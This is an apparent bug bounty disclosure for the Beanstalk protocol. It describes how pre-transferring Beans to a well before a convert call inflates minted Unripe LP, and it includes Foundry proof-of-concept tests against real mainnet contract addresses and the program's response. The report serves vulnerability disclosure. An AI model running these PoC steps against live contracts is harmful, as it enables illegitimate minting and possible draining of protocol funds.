📄

Report #28431

Report Date
February 13, 2024
Status
Confirmed
Payout
10,000

Converting Beans/ETH to Unripe Tokens

Report Info

Report ID

#28431

Report type

Smart Contract

Has PoC?

Yes

Target

Impacts

  • Illegitimate minting of protocol native assets
  • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Impact

A vulnerability exists where an attacker can directly convert Beans/ETH into Unripe LP. Given that Beans and ETH are widely traded across various markets, this vulnerability potentially allows attackers to convert any token into Unripe Assets.

Root Cause

The vulnerability stems from the process of converting Unripe Beans to Unripe LP tokens within the convertBeansToLP function in LibUnripeConvert.sol. Specifically, the function _wellAddLiquidityTowardsPeg is utilized to determine the output of LP tokens. This function transfers the underlying Beans to the ETH well and calls sync to optimize gas usage during the liquidity addition process. However, the well doesn't verify the amount of tokens transferred in real-time or prior to the conversion. An attacker can transfer Beans or ETH before executing the convert function, leading to an unwarranted increase in the minted LP tokens beyond the intended amount.

The convertBeansToLP code:

    function convertBeansToLP(bytes memory convertData)
        internal
        returns (
            address tokenOut,
            address tokenIn,
            uint256 amountOut,
            uint256 amountIn
        )
    {
        // ...
        (
            uint256 outUnderlyingAmount, // new lp minted
            uint256 inUnderlyingAmount // beans sent
        ) = LibWellConvert._wellAddLiquidityTowardsPeg(
                LibUnripe.unripeToUnderlying(tokenIn, beans),
                minAmountOut,
                C.BEAN_ETH_WELL
            );

        // ...
    }

And the _wellAddLiquidityTowardsPeg code:

    function _wellAddLiquidityTowardsPeg(
        uint256 beans,
        uint256 minLP,
        address well
    ) internal returns (uint256 lp, uint256 beansConverted) {
        (uint256 maxBeans, uint beanIndex) = _beansToPeg(well);
        require(maxBeans > 0, "Convert: P must be >= 1.");
        beansConverted = beans > maxBeans ? maxBeans : beans;
        C.bean().transfer(well, beansConverted);
        lp = IWell(well).sync( // the well might have received tokens prior to the function call
            address(this),
            minLP
        );
    }

Suggested Fix

I recommend to replace the sync function with the addLiquidity function, which is safer and yields predictable outcomes.

Impacts

  1. Unwarranted Minting of Unripe Assets: The purpose of Unripe assets is to compensate victims of the Bean Governance hack. Minting additional tokens, especially to unintended recipients, undermines this objective.
  2. remainingRecapitalization Changed: This could enable the purchase of more fertilizer and reduce innocent users share of underlying assets.
  3. Potential for Theft of funds: According to this [blog](https://bean.money/blog/a-farmers-guide-to-the-barn-raise), in certain edge cases, it might be possible for Unripe assets to exceed their pre-exploit balance valuation. This can result in a theft of assets, for example, by converting 100 Beans might yield Unripe assets valued at 101 Beans, effectively allowing attackers to exploit the protocol and steal.
There are edge cases where it is possible for Unripe assets to Chop for >100% of their pre-exploit balance.

Proof of concept

I've added the poc in a branch named bean-to-unripe-vuln within the GitHub repository previously shared with the Bean team [here](https://github.com/Blockian/POC-Bean)

I've also added a screenshot of the test results.

image

Alternatively, run this foundry test on a fork of the mainnet

This is the command I used to run the test forge test --fork-url https://eth-mainnet.g.alchemy.com/v2/$ALCHEMY_KEY --fork-block-number 19213575 --via-ir -vv

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.1;

import "forge-std/console.sol";
import {Test} from "forge-std/Test.sol";
import {BeanStalk} from "../src/BeanStalk.sol";
import {ERC20} from "../src/ERC20.sol";

contract MainTest is Test {
    BeanStalk public beanstalk;
    ERC20 public bean;
    ERC20 public unripeBean;
    ERC20 public unripeLp;

    address constant BEANSTALK = 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5;
    address constant BEANERC20 = 0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab;
    address constant UNRIPE_BEAN = 0x1BEA0050E63e05FBb5D8BA2f10cf5800B6224449;
    address constant UNRIPE_LP = 0x1BEA3CcD22F4EBd3d37d731BA31Eeca95713716D;
    address constant BEAN_ETH_WELL = 0xBEA0e11282e2bB5893bEcE110cF199501e872bAd;

    // attacker addresses for the roots stalk inbalance attack
    address constant ATTACKER = 0xd7E167AB2A4bC910619ACB0CC36B7707Ab8816d6;

    address constant UNRIPE_BEAN_FUNDER = 0x3dD413Fd4D03b1d8fD2C9Ed34553F7DeC3B26F5C; // we just need 1 bdv of unripe bean for the attack

    uint256 constant DECIMALS = 1e6; // 6 decimals
    uint256 constant AMOUNT = 5;

    function setUp() public {
        beanstalk = BeanStalk(BEANSTALK);
        bean = ERC20(BEANERC20);
        unripeBean = ERC20(UNRIPE_BEAN);
        unripeLp = ERC20(UNRIPE_LP);

        console.log("----------------- block number info -----------------");
        console.log("Block Number: %s", block.number);

        vm.startPrank(UNRIPE_BEAN_FUNDER);
        unripeBean.transfer(ATTACKER, AMOUNT); // 5 wei of unripebean = 1 bdv, which is all we need to start the attack :)
        vm.stopPrank();
    }

    function test1() public {
        int96 stem;
        int96[] memory stems = new int96[](1);
        uint256[] memory amounts = new uint256[](1);

        vm.startPrank(ATTACKER);
        console.log("----------------- start attack -----------------");

        // deposit 5 unripe bean to be able to convert
        unripeBean.approve(BEANSTALK, AMOUNT);
        (, , stem) = beanstalk.deposit(UNRIPE_BEAN, AMOUNT, BeanStalk.From.EXTERNAL);

        bytes memory convertData = abi.encode(BeanStalk.ConvertKind.UNRIPE_BEANS_TO_UNRIPE_LP, AMOUNT, uint256(0));
        stems[0] = stem;
        amounts[0] = AMOUNT;

        bean.transfer(BEAN_ETH_WELL, 50000 * DECIMALS);

        console.log("remainingRecapitalization before: %s", beanstalk.remainingRecapitalization());

        console.log("----------------- convert -----------------");
        (int96 toStem, uint256 fromAmount, uint256 toAmount, uint256 fromBdv, uint256 toBdv) = beanstalk.convert(convertData, stems, amounts);

        console.log("remainingRecapitalization after: %s", beanstalk.remainingRecapitalization());

        console.log("----------------- convert output -----------------");
        console.log("toStem: %s", uint256(uint96(toStem)));
        console.log("fromAmount: %s", fromAmount);
        console.log("toAmount: %s", toAmount); // unripe lp tokens the attacker received.
        console.log("fromBdv: %s", fromBdv);
        console.log("toBdv: %s", toBdv);
        vm.stopPrank();
    }
}

I've added a test demonstrating an attacker converting 50,000 BEANS to 219,500 Unripe Beans.

When 1 Unripe Beans will equal 1 Bean, an attacker could use this vector to drain Beanstalk out Beans.

Additionally, the test demonstrating an attacker converting 50,000 BEANS to 219,500 Unripe Beans reveals a sooner-than-anticipated break-even point, than the the instance when 1 Unripe Bean is equal to 1 Bean.

At the moment when 1 Unripe Bean equals merely 0.25 Bean, given the conversion ratio of 50 to 219, an attacker can steal all of the Beans from the protocol.

    function testBeanToUnripeBean() public {
        int96 stem;
        int96[] memory stems = new int96[](1);
        uint256[] memory amounts = new uint256[](1);

        vm.startPrank(ATTACKER);

        // deposit 5 unripe bean to be able to convert
        unripeBean.approve(BEANSTALK, AMOUNT);
        (, , stem) = beanstalk.deposit(UNRIPE_BEAN, AMOUNT, BeanStalk.From.EXTERNAL);

        bytes memory convertData = abi.encode(BeanStalk.ConvertKind.UNRIPE_BEANS_TO_UNRIPE_LP, AMOUNT, uint256(0));
        stems[0] = stem;
        amounts[0] = AMOUNT;

        bean.transfer(BEAN_ETH_WELL, 50000 * DECIMALS);

        (int96 toStem, uint256 fromAmount, uint256 toAmount, uint256 fromBdv, uint256 toBdv) = beanstalk.convert(convertData, stems, amounts);

        amounts[0] = toAmount;

        // convert unripe lp to unripe bean
        convertData = abi.encode(BeanStalk.ConvertKind.UNRIPE_LP_TO_UNRIPE_BEANS, toAmount, uint256(0));

        (toStem, fromAmount, toAmount, fromBdv, toBdv) = beanstalk.convert(convertData, stems, amounts);


        console.log("----------------- converted to unripe beans -----------------");
        console.log("start bean amount %s", 50000 * DECIMALS);
        console.log("unripe beans received: %s", toAmount);
        vm.stopPrank();
    }

BIR-13: Minting Unripe LP During Convert

BIC Response

The BIC has determined that the most appropriate impact for this report is "Illegitimate minting of protocol native assets", i.e., High severity, as a result of the potential for minting Unripe assets.

Based on our bounty page, this submission's ( Smart Contract - High ) reward is capped at the lower of (a) 100% of practicable economic damage, or (b) USD 100 000 (paid 1:1 in Beans), primarily taking into consideration the Funds at Risk. However, there is a minimum reward of USD 10 000 for High severity smart contract bug reports.

We do not believe that this vulnerability can be considered to result in any practicable economic damage.

Potential for Theft of funds: According to this [blog](https://bean.money/blog/a-farmers-guide-to-the-barn-raise), in certain edge cases, it might be possible for Unripe assets to exceed their pre-exploit balance valuation. This can result in a theft of assets, for example, by converting 100 Beans might yield Unripe assets valued at 101 Beans, effectively allowing attackers to exploit the protocol and steal.

This is not a practicable concern given the current Chop Rate of >99%.

Additionally, the test demonstrating an attacker converting 50,000 BEANS to 219,500 Unripe Beans reveals a sooner-than-anticipated break-even point, than the the instance when 1 Unripe Bean is equal to 1 Bean. At the moment when 1 Unripe Bean equals merely 0.25 Bean, given the conversion ratio of 50 to 219, an attacker can steal all of the Beans from the protocol.

It is not accurate to say that 1 Unripe Bean "equals" 0.25 Beans—although the BDV of Unripe Beans is ~0.224, the liquidatable value of an Unripe Beans is currently <0.01 Beans via Chopping. As a result, this attack would not be profitable by a significant margin.

For these reasons, the BIC has determined that the practicable economic damage for this vulnerability is zero. Given this, the BIC has determined that this bug report be rewarded 10,000 Beans.